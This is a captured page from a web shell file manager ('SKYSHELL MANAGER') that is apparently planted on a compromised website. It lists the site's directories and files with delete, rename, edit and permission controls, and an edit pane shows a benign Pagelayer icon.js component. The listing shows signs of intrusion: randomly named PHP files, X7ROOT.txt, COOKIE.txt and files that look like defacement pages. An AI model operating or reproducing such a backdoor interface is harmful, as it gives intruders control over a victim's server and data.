📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: icon.js
import { LabelControl } from './label'; import { useState } from '@wordpress/element'; var pagelayer_icons = {}; export const IconControl = (props) => { const { prop, value, setAttributes } = props; const { name } = prop['c']; const [curIconSet, setCurIconSet] = useState(pagelayer_loaded_icons[0]); const [showIconsList, setShowIconsList] = useState(false); const [searchText, setSearchText] = useState(''); const [activeTabs, setActiveTabs] = useState({ fas: true, far: false, fab: false, }); var sel_name = value; // Handle the icon name if(sel_name){ var icon_name = sel_name.split(' fa-'); sel_name = icon_name[1]; } const handleIconSetChange = (event) => { setCurIconSet(event.target.value); }; const handleTabClick = (tab) => { setActiveTabs((prevTabs) => ({ ...prevTabs, [tab]: !prevTabs[tab], })); }; const handleSearchInputChange = (event) => { setSearchText(event.target.value); }; const handleIconClick = (event) => { setAttributes({ [name]: event.currentTarget.children[0].getAttribute('class')}); }; const handleIconClose = () => { setAttributes({ [name] : ''}); }; const iconHtml = (name, cat) => ( <span className="pagelayer-elp-icon-span" onClick={handleIconClick}> <i className={`${cat} fa-${name}`} icon={name}></i> {name} </span> ); var allowed_icons = {}; // Is there a specific list if( 'list' in prop && prop.list.length > 0){ for(var i in pagelayer_icons){ allowed_icons[i] = {}; for(var j in pagelayer_icons[i]){ allowed_icons[i][j] = {}; var list_icons = []; prop.list.forEach(function(item){ if(pagelayer_icons[i][j]['icons'].includes(item)){ list_icons.push(item); } }); allowed_icons[i][j]['icons'] = list_icons; allowed_icons[i][j]['pre'] = j; } } }else{ allowed_icons = pagelayer_icons; } return ( <div className="components-base-control pagelayer-base-control"> <LabelControl {...props}/> <div className="pagelayer-elp-icon-div" onClick={() => {setShowIconsList(!showIconsList)}}> <div className="pagelayer-elp-icon-preview"> <i className={value}></i> <span className="pagelayer-elp-icon-name"> {value ? sel_name : 'Choose icon'} </span> </div> <span className="pagelayer-elp-icon-open" onClick={() => setShowIconsList(!showIconsList)} >▼</span> <span className="pagelayer-elp-icon-close" style={{ display: value ? 'block' : 'none' }} onClick={handleIconClose} > <b>× </b> </span> </div> { showIconsList && ( <div className="pagelayer-elp-icon-selector"> {pagelayer_loaded_icons.length > 1 && ( <select className="pagelayer-elp-icon-sets" onChange={handleIconSetChange} value={curIconSet} > {pagelayer_loaded_icons.map((item) => ( <option key={item} value={item}> {item} </option> ))} </select> )} <span className="pagelayer-elp-icon-type"> <p onClick={() => handleTabClick('fas')} className={activeTabs.fas ? 'active' : ''} > {'Solid'} </p> <p onClick={() => handleTabClick('far')} className={activeTabs.far ? 'active' : ''} > {'Regular'} </p> <p onClick={() => handleTabClick('fab')} className={activeTabs.fab ? 'active' : ''} > {'Brand'} </p> </span> <input type="text" className="pagelayer-elp-search-icon" name="search-icon" placeholder={'search'} value={searchText} onChange={handleSearchInputChange} /> <div className="pagelayer-elp-icon-list"> {Object.keys(allowed_icons[curIconSet]).map((y) => { if(!(y in activeTabs) || pagelayer_empty(activeTabs[y])){ return; } return allowed_icons[curIconSet][y]['icons'] .filter((item) => item.includes(searchText.toLowerCase()) || searchText.length < 1) .map((z) => iconHtml(z, y)); })} </div> </div> )} </div> ); } // Function to fetch and store data function pagelayer_get_stored_data(url, version){ const name = 'pagelayer_' + url; let data = {}; let force = false; // Try to parse the data try { data = JSON.parse(localStorage.getItem(name)); if (data['version'] !== version) { force = true; } } catch (e) { force = true; } // Force download if (force) { jQuery.ajax({ url: url, type: 'GET', dataType: 'text', success: function (newData) { data = { version: version, val: newData, }; localStorage.setItem(name, JSON.stringify(data)); }, }); } return data['val']; } // Load Fonts wp.domReady(function () { pagelayer_loaded_icons.forEach((item) => { jQuery.when( pagelayer_get_stored_data(pagelayer_url + '/fonts/' + item + '.json', pagelayer_ver)) .then(() => { pagelayer_icons[item] = JSON.parse(pagelayer_get_stored_data( pagelayer_url + '/fonts/' + item + '.json', pagelayer_ver) ); }); }); });
Save